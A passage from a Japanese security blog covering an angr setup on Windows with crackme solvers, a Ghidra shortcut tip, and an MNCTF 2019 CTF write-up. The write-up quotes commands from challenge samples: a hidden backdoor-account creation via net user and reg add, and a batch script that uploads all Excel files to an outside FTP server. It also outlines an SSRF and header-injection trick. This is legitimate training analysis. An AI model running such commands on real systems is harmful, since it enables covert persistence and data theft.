④MIT Licenseの内容が表示される。ライセンス表記中に記載される"Year" および"Full name"の内容を設定し、[Review and submit]を選択

f:id:imurasheen:20190802142503p:plain

 

⑤作成されたライセンスファイルの内容が表示される。問題なければ、このファイルをコミットすれば作業完了

f:id:imurasheen:20190802142624p:plain

 

 

【備忘録】Windows上にangr環境を構築してみる

色々と事情があり、最近angrをいじる機会が多いです。

UbuntuとKali上にangrの解析環境を組んでるのですが、CTFの際はメインでWindowsを使うため、Windows上でもangrを使える方が色々と取り回しが楽だな、と考えていました。

ということでTry!!

angrの公式ドキュメントのIntallingの項を参考に進めてみます。

docs.angr.io

1. python3系のインストール

CTFの解析メインで使っているWindows10のVMにはpythonは入っているんですが、python2系です。

angrは現在python3系が必須となっています。

(1年ちょっと前まではpyton2系が必須だった気がするんですが)

そこで、python3系をインストールすることにします。最新版は3.7.4。

Python3のインストール - python.jp

Python Release Python 3.7.4 | Python.org

Windows x86-64 executable installerをダウンロードします。

インストーラをキックするとインストールが始まります。

f:id:imurasheen:20190719021931p:plain

コマンドプロンプトPowershellのウィンドウで"python"を実行した際にpython3が起動するようにしたいので、環境変数PATHにパスを加えるべく"Add Python 3.7 to PATH"にチェックを入れる必要があります。
それ以外は設定変更せずインストール。特に問題なくインストールが終わります。

これでpython3系が起動するぜ、と思ったんですが、残念ながらまだpython2.7が起動してしまいます。どうやら環境変数PATHにpython2系への参照が残っている模様。

環境変数エディタを起動し、環境変数Pathから"python27"を含むパスを削除し、python2系への参照を消してしまいます。

f:id:imurasheen:20190719022356p:plain

python2系を残したい場合は違う手順が必要になってくるかと思いますが、主にpythonのコーディングを行うのはLinux上になると思いますので一思いに消しました。

なお、環境変数には[ユーザー環境変数]と[システム環境変数]が存在しますが、両方チェックすることをお勧めします。私の環境では[システム環境変数]にpython2系のパスが、[ユーザー環境変数]にpython3系のパスが入った状態になっていました。

"python"コマンドでpython3.7.4が起動してくることが確認できます。

f:id:imurasheen:20190719022747p:plain

2. python仮想環境(virtualenv-win)のインストール

上記に挙げた、angr公式ドキュメントのInstallingの項のうち、「Windows」の項目を参照します。

angrをインストールする際は、python仮想環境を利用することを強く推奨されています。これは、angrが参照しているz3などの依存モジュールについて、公式ビルドではなくangrの独自ビルドを利用しているものがあるためです。

例えばangrの環境とz3の環境を共存させたい場合、z3のオリジナルバイナリをpipで取得してしまうとangrが動かなくなるかもしれません。

そのため、angrと依存モジュールを全てpython仮想環境内に構築する必要があります。

コマンドプロンプト上で、

> pip install virtualenvwrapper-win

と実行するだけでインストールに成功します。

3. angrのインストール

python仮想環境の作成⇒作成した仮想環境上にangrをインストール の手順です。

2つのコマンドを利用します。

> mkvirtualenv angr

angrという名前のpython仮想環境を作成します。

成功すると、作成した仮想環境(angr)に入った状態となります。

> pip install angr

angr本体および依存モジュールをインストールします。

インストールの様子

f:id:imurasheen:20190719024039p:plain

こちらも拍子抜けするほどすんなり入ります。

4. 動作検証

インストールはうまくいきましたが、ちゃんと動くかどうか確認するまで安心できません。ここでは2つのサンプルで動作を確認しました。

なお、作成したpython仮想環境内(angr)に入るには、コマンドプロンプト上で

> workon angr

と実行するだけです。

4.1 Windows DLLの解析

angr-doc/more-examples.md at master · angr/angr-doc · GitHub

実際のCTFで出題された問題のバイナリと、そのsolverのスクリプトが置いてあります。

こちらから、Windowsのバイナリで動きそうなものを探します。

⇒ReverseMe example: MMA CTF 2015 - HowToUse を採用します。

 下記を参照すると、DLL内の特定の関数(fnhowtouse@@YAHH@Z)を呼べば勝ちのようです。qiita.com

 置いてあったバイナリとスクリプトを実行すると、以下のように解析に成功します。

f:id:imurasheen:20190719030057p:plain

・・・中略・・・

f:id:imurasheen:20190719030120p:plain

 

4.2 ELF形式ファイルの解析

昨年のSECCON for Beginners 2018で出題されたcrackmeを解析して見ます。

競技時間中に解けず、競技終了後にangrで解いた問題です。

正しい引数を与えると実行が成功する問題でした、確か。(引数がフラグ)

旧solver

import angr
import claripy

key_length = 32

project=angr.Project('crackme',load_options={'auto_load_libs':False})
cfg = project.analyses.CFG(fail_fast=True)
argv = [project.filename] 
arg1 = claripy.BVS('arg1', key_length*8)
argv.append(arg1) #commandline arg

initial_state = project.factory.entry_state(args=argv)
pg=project.factory.simgr(initial_state)

print("explore start")
a=pg.explore(find=0x4009A2,avoid=(0x400951,0x4009BD,0x40081D,0x40086D,0x4008BD,0x40090D,0x40064D,0x40069D,0x400707,0x400757,))
print("explore end")

found = a.found

if ( len( found ) > 0 ):    #   Make sure we found a path before giving the solution
    found = pg.found[0]
    result = found.state.se.any_str(argv[1])
    try:
        result = result[:result.index('')]
    except ValueError:
        pass
else:   # Aww somehow we didn't find a path.  Time to work on that check() function!
    result = "Couldn't find any paths which satisfied our conditions."

print(result)

この時点ではangrはpython2系オンリーだったのと、当時からangrの構文がだいぶ変わってしまったので、上記solverでは解析時に例外が発生していしまいます。改めてsolverを組んでみます。

 新solver

import angr
import claripy

key_length = 32

project=angr.Project('crackme',load_options={'auto_load_libs':False})
#cfg = project.analyses.CFG(fail_fast=True)
argv = [project.filename] 
arg1 = claripy.BVS('arg1', key_length*8)
argv.append(arg1) #commandline arg

entry = project.factory.entry_state(args=argv)
simgr = project.factory.simgr(entry)

print("explore start")
#simgr.explore()
result=simgr.explore(find=0x4009A2,avoid=(0x400951,0x4009BD,0x40081D,0x40086D,0x4008BD,0x40090D,0x40064D,0x40069D,0x400707,0x400757,))
print("explore end")

found = simgr.found[0]

flag = found.solver.eval(arg1,cast_to=bytes).decode("utf-8", "ignore")
print(flag)

大枠は変わっていないんですが、だいぶ記述が変わっていますね。

(もう大幅な変更はやめてほしい)

上記solverを流すと、解析に成功します。

f:id:imurasheen:20190719031729p:plain

・・・中略・・・

f:id:imurasheen:20190719031755p:plain

 

まとめ

ということで、Windows上にangr環境を構築&バイナリ解析に成功しました。

Linux環境上にangrをインストールした際はいろいろ苦労したことがあったのですが、拍子抜けするほどあっさりインストールに成功しました。

angrも過渡期を抜けてこなれてきたということでしょうかね。

 

今回2パターンのバイナリを解析しましたが、その目的としては

Windows上でもLinuxのバイナリ(ELF形式ファイル)も解析できるんだよね??」

という点の裏付けが目的でしたので、目的が達成できて満足です。

もう少しangrへの理解を深めて、自動解析(Zeratoolのような)に踏み込んでいきたい所存です。

github.com

【追記】

この記事を参照して試してもらった同僚等からいただいた情報です。

① 使用するpython仮想環境について

 angr documentationのInstallingの項目には

 >You can use either the virtualenv-win or virtualenv packages for this.

 と記載されており、virtualenv-winかvirtualenvの使用が推奨されています。

 なので今回の記事ではvirtualenv-winを使った手法を試していたのですが、

 venv(python3.3以降に標準で組み込まれたpython仮想化パッケージ)でも同じ手順でインストールに成功したそうです。

 

② 関連パッケージのインストールに失敗する

 以下のような流れで苦労しつつなんとかangrで解析成功するところまでたどり着いた方が。

 pip install angrでインストール中に、unicornのインストールの箇所で固まる

 ⇒unicornをDLして無理やりインストール

 ⇒angrのインストールを継続し、完了

 ⇒angrで解析処理を試みると、z3を参照している箇所でエラー発生

  AttributeError: module 'z3' has no attribute 'lib'

 

 angr Documentationのinstalling->Troubleshootingの項目を見ると以下のような項目があります。 

https://docs.angr.io/introductory-errata/install#libgomp-so-1-version-gomp_-4-0-not-found-or-other-z3-issues

 z3絡みで問題が起きたら、z3をリコンパイルしてみろとのこと。

 コマンドは以下。

 >pip install -I --no-binary z3-solver z3-solver

  しかし以下のエラーが出て失敗したそうです。

******************************************

Makefile was successfully generated.
compilation mode: Release
platform: x64

To build Z3, open a [Visual Studio x64 Command Prompt], then
type 'cd G:\temp\pip-install-jn_u1qbw\z3-solver\core\build && nmake'

Remark: to open a Visual Studio Command Prompt, go to: "Start > All Programs > Visual Studio > Visual Studio Tools"
Building Z3
error: [WinError 2] 指定されたファイルが見つかりません。 

******************************************

 最終的には、Gitからz3を取得してビルドしたら動いたとのこと。

 何かしらの競合かもしれませんが、原因は不明です。

 

【備忘録】GhidraやCyberchefをタスクバーに登録してみた

最近CTFでGhidraやCyberchefを利用します。
私はこれらをWindows環境で利用しており、
どちらもとても便利なツールなのですが、起動方法に問題が。

Ghidra:インストーラに同梱されているghidraRun.batを叩く
Cyberchef:ローカルにダウンロードしたCyberchefのHTMLファイルを起動

batファイルやHTMLファイルはタスクバーに登録することができません。

デスクトップにショートカットを置いているので毎回探して起動。
タスクバーからできれば便利なのにな。。。
ということでやってみました。

結論から言うと、「ショートカットならタスクバーに登録できるのでショートカットを作った」です。

以下、Ghidraをタスクバーに登録した際の手順。

 https://ghidra-sre.org/
 ここから最新版のGhidraをダウンロードしてきます。現在は9.0.4ですね。
 いろいろと更新が入ってますので、Ghidraは最新版に保つことをお勧めします。
 今夏にはデバッガ機能が追加されるという噂です。

 私の環境のghidraRun.batは以下にあります。
 C:\tools\ghidra_9.0.4_PUBLIC_20190516\ghidra_9.0.4\ghidraRun.bat
 
 このbatファイルに対するショートカットを作成します。
 作成場所はどこでもいいです。
 ショートカットの設定を以下のようにします。
 とりあえずデスクトップに作る例。
 
 ①ショートカットの作成画面

f:id:imurasheen:20190709100304p:plain

 [項目の場所を入力してください(T)]
 ⇒C:\tools\ghidra_9.0.4_PUBLIC_20190516\ghidra_9.0.4\ghidraRun.bat 

  を指定
 ⇒[次へ]ボタンをクリック
 
 ②ショートカットの作成画面
 ⇒お好みのショートカット名を。私は「GHIDRA」にしました
 ⇒[完了]ボタンをクリック。 こんなアイコンができます。 

f:id:imurasheen:20190709100334p:plain

 これだと見た目がいまいちだし、

 タスクバーに登録してもぱっと見何なのかわかりません。
 
 ショートカットのアイコンを変更することにします。
 
 ③上記のショートカットを右クリックしてプロパティを開きます。
 ⇒[アイコンの変更(C)]ボタンをクリック
  何か警告が出ますが、気にせず続けます。  

f:id:imurasheen:20190709100401p:plain

 ④アイコンの変更画面が開きます。

f:id:imurasheen:20190709100442p:plain
 ⇒[参照]ボタンをクリックします。
  Ghidraのインストールディレクトリ  (C:\tools\ghidra_9.0.4_PUBLIC_20190516\ghidra_9.0.4\)に移動し、手ごろなアイコンを探します。
  supportフォルダにちょうどよさそうなghidra.icoファイルがありますので、それを選択し、OKをクリック
 ⇒だいぶGhidraっぽいショートカットになりますね。
 

f:id:imurasheen:20190709100459p:plain

 このショートカットをタスクバーに登録すると、タスクバーからGhidraを起動できるようになります。
 なお、Cyberchefもほぼ同じ手順でできました。
 
 登録したタスクバーはこんな感じ。 

f:id:imurasheen:20190709100533p:plain

だいぶ使いやすくなった。

MNCTF 2019 WriteUp

昨年に引き続き、MNCTF 2019@Macnica Networks DAY(@東京コンファレンスセンター・品川)に参加してまいりました

結果としては11問中6問を解き、321ptsで12位でした。

昨年は14位だったので、順位は2つUP⤴⤴

このままいくと6年後には優勝できます。

 

昨年は14問中10問を解きましたが、今年は簡単な問題が減って難易度高めの問題が多くなったかな?という感じでした。

※フォレンジッカー以外の参加を想定しているのであれば、もう少しレベル低めの問題を残してもよかった気がします。

 

個人的には、解けた人数の多い問題はソツ無く解きましたが、やはり上位進出するためには回答者の少ない問題を解ける発想力が必要だと感じました。

 

さて、公式のWriteUpもすぐに出るかもですが、私なりの解法や躓いた点を記録しておこうと思います。

解けた問題はタイトルに★をつけてます

 

f:id:imurasheen:20190704235102p:plain

 

 

【練習問題★】1pts

f:id:imurasheen:20190704235229p:plain

点呼です。フラグは MNCTF

 

【悪意部品】100pts

f:id:imurasheen:20190704235434p:plain

解けませんでした。

問題中にあるPLEADの暗号化手法について記載されているページはこちら

https://blogs.jpcert.or.jp/ja/2018/05/linopid.html

こちらのページの記載に従うと、RC4キーは20hバイト(=32バイト)となっています。

これに従い、CyberChefのRC4オペレーションを使って復号を試みたのですが、うまくいかないまま時間を溶かすこととなってしまいました。

 

WriteUpを聞くと、この問題のRC4キーは20バイトだったそうです。

キー長は疑わなかった。。。

 

【標的攻撃I★】80pts

f:id:imurasheen:20190704235926p:plain

仮想マシンのディスクイメージ(vmdkファイル)が渡されます。

条件反射でFTK Imagerに食わせます。

 

f:id:imurasheen:20190705000216p:plain

[root]の直下に削除されたファイル(a.EXE)が見つかります。これが怪しいでしょう。

右クリックメニューからExport Files...を選択し、出力したファイルのMD5ハッシュを求めます。

フラグは 5680A78AD0714D501F1A66215F509DFD

 

【標的攻撃II★】60pts

f:id:imurasheen:20190705000545p:plain

取り出したa.EXEが難読化されていないことを祈りつつ、プログラムの文字列を抽出します。

私の解析環境はFLARE VM(https://github.com/fireeye/flare-vm)を導入しているんですが、ファイルの右クリックで開くメニューにStringsが入っており便利です。

f:id:imurasheen:20190705000812p:plain

難読化されてません。

文字列を眺めると、以下のコマンドが見つかります。

/c net user /add SUPPORT_388945a1 @Abc123456

コマンドプロンプトでユーザを追加するコマンド列のようです。

追加されているユーザがフラグなので、フラグは SUPPORT_388945a1

 

【標的攻撃III★】60pts

f:id:imurasheen:20190705001155p:plain

最初は違う問題でしたが、内容がIVとかぶっていたので途中で差し替えられました。

上記のユーザ名(SUPPORT_388945a1)から攻撃者グループを突き止める、とのことなので、おそらくユーザ名がIoCとなるのでしょう。

「SUPPORT_388945a1」で検索すると、以下のブログが見つかります。

http://blog.macnica.net/blog/2019/04/oceanlotus-218a.html

フラグは OceanLotus

 

【標的攻撃IV★】60pts

f:id:imurasheen:20190705003446p:plain

通常、作成したローカルユーザはWindowsのログイン画面で表示されますが、この問題で求められているレジストリを設定することで追加したユーザをログイン画面から隠すことができる。つまり、怪しいユーザの作成を被害者から隠す操作です。

 

先ほどの標的攻撃IIのStringsの結果を見ると、いくつかレジストリ作成エントリが見えます。

/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited

 


この中でHKLMから始まる文字列を手あたり次第入れることにします笑

 

ということでフラグは以下

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

 

【建屋制御I★】60pts

f:id:imurasheen:20190705004218p:plain

制御系の問題。

ハンズオン解説で聞いた仕様は以下の通り

*****************************************

中央監視システム(Ethernet上)
このシステムから、非Ethernetに配置された制御装置に接続されている
空調コントローラ4台と照明コントローラ1台が接続されている
空調コントローラ1⇒1F事務室
照明コントローラ1⇒1F工場
空調コントローラ2⇒1F工場
空調コントローラ3⇒2F会議室
空調コントローラ4⇒2F社長室

独自プロトコルで通信は実装されている:BACnet

制御装置に対するリクエスト:Confirmed-REQ
上記に対する応答:Complex-ACK 

*****************************************

プロトコルを詳細に理解する問題は(時間的に)出ないだろうと思われるので、ヒントを元に検索してみる。

※WriteUpまで聞いた後だと、さすがに少しは理解した方が捗ると思うし、実際に業務で利用する際は一度は仕様を見ておくべきだと思いました。

与えられたpcapファイルを開き、検索機能で"location"という文字列を検索してみる。

それっぽい文字列が見つかる

f:id:imurasheen:20190705005152p:plain

フラグは 1F_factory

 

【建屋制御II】80pts

f:id:imurasheen:20190705005335p:plain

時間内には解けませんでした。

解けなかった理由は、Wiresharkの検索機能で検索対象に「パケット一覧」を選択していたため。「パケット詳細」を選択するのが正解。

ヒントとしては、時刻帯。11:06(UTC)とあるが、Wireshark上は+9時間となるので20:06あたりに取得された温度が対象。

が、どのパラメータに温度が入っているか分からないので、手あたり次第それっぽい数字を探すことにする。

セロリの生育温度なので、そんなに高いor低いということは無いはず。

まずは"20."~"29."を検索してみたが、時刻条件にマッチせず。

"19."で検索したところ、20:06:52の程よい時刻にヒット。これがフラグ。

※本来なら、IDなどから装置のIPアドレスを特定する、という理論的な回答をするべき

f:id:imurasheen:20190705010502p:plain

フラグは 小数点5桁までなので 19.70611

 

【情報漏洩I】100pts

f:id:imurasheen:20190705010630p:plain

※時間内に解けず

上位陣との差はこの問題を解ける知識の広さ+発想だと感じました。

難読化されたbatファイルa.batが与えられる。
%P%@%r%e%I%c%g%h%E%o%R% %I%o%y%f%J%f%L%
のように%で区切られた文字が続いている
URLエンコードのような難読化?とミスリードされるが、これはbatファイルなので
%*%となっている文字列は変数として扱われる
⇒定義されていないので、空文字列になる

よって、%*%の文字列は削除してしまえばいい。

SAKURAエディタで正規表現の置換を行う
%.%を空文字列に変換すると以下のデータが得られる

※if文の条件が若干間違っているが、問題の解答可否には影響なし

***************************************************


@echo off
REM TOOL NAME: XLS_Stealer_w00fw00f
REM AUTHOR: @Sh1n0g1
REM COMMENT: This is a part of MNCTF2019, not a real malware.

if A%USERDOMAINJkjNCIMZMscrSkoGFOOM%
echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
echo ftp-user>> temp.txt
echo bin>>temp.txt
REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
echo mput *.xls*>>temp.txt
echo quit>> temp.txt

REM Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
ftp -i -s:temp.txt
del temp.txt

 **************************************************

この問題で求められているのはツール名なので、

フラグは XLS_Stealer_w00fw00f

 

【情報漏洩II】100pts

f:id:imurasheen:20190705011253p:plain

※問題の不備があり、ダウンロードに成功しても文書が開けず回答不可の問題でした

情報漏洩Iで出てきたbatファイルは、無駄な内容が多い。

無駄な部分を削除すると、攻撃者の行動は以下のようになる。

************************************************

echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
echo ftp-user>> temp.txt
echo bin>>temp.txt
echo mput *.xls*>>temp.txt
echo quit>> temp.txt

ftp -i -s:temp.txt
del temp.txt 

************************************************

FTPで157.7.53.197に接続し、侵入したフォルダにある"*.xls*"にマッチする名称のファイルをすべてアップロードしている。

よって、これを裏返して"*.xls*"を取得する処理を記述してあげればいい。

 mputをmgetに入れ替えればいい。

************************************************

echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
echo ftp-user>> temp.txt
echo bin>>temp.txt
echo mget *.xls*>>temp.txt
echo quit>> temp.txt

ftp -i -s:temp.txt
del temp.txt 

************************************************

結果として、顧客情報マスタ.xlsがダウンロードされる。

 

【暗唱保護】100pts

f:id:imurasheen:20190705012129p:plain

※唯一、競技中に誰も解けなかった問題でした。(問題不備を除く)

昨年弊社の某氏が「なんでWeb問無いんやゴラ」と暴れたので追加されたと個人的に予想している問題。

 

たどり着いた時点であまり時間が掛けられなかったのでほとんど触れず、でした。

WriteUpを簡単にまとめると

(1)パスワードが閲覧できるpassword.phpにはリモートからは接続できない

(2)サイト上には接続チェック用ページ(webchecker.php)がある

 サイトへ接続し、成功したらページの一部だけを表示する。

(3)webchecker.phpで"localhost"をドメインに指定してpassword.phpに接続すれば、接続は成功する。

   ただし、見えるのは"Admin page"の文字列だけ

⇒改行コードまでを表示しているのではないかと想定し、HTTPヘッダインジェクションでRangeヘッダを用いて改行コード以降を表示させればフラグが取得できる。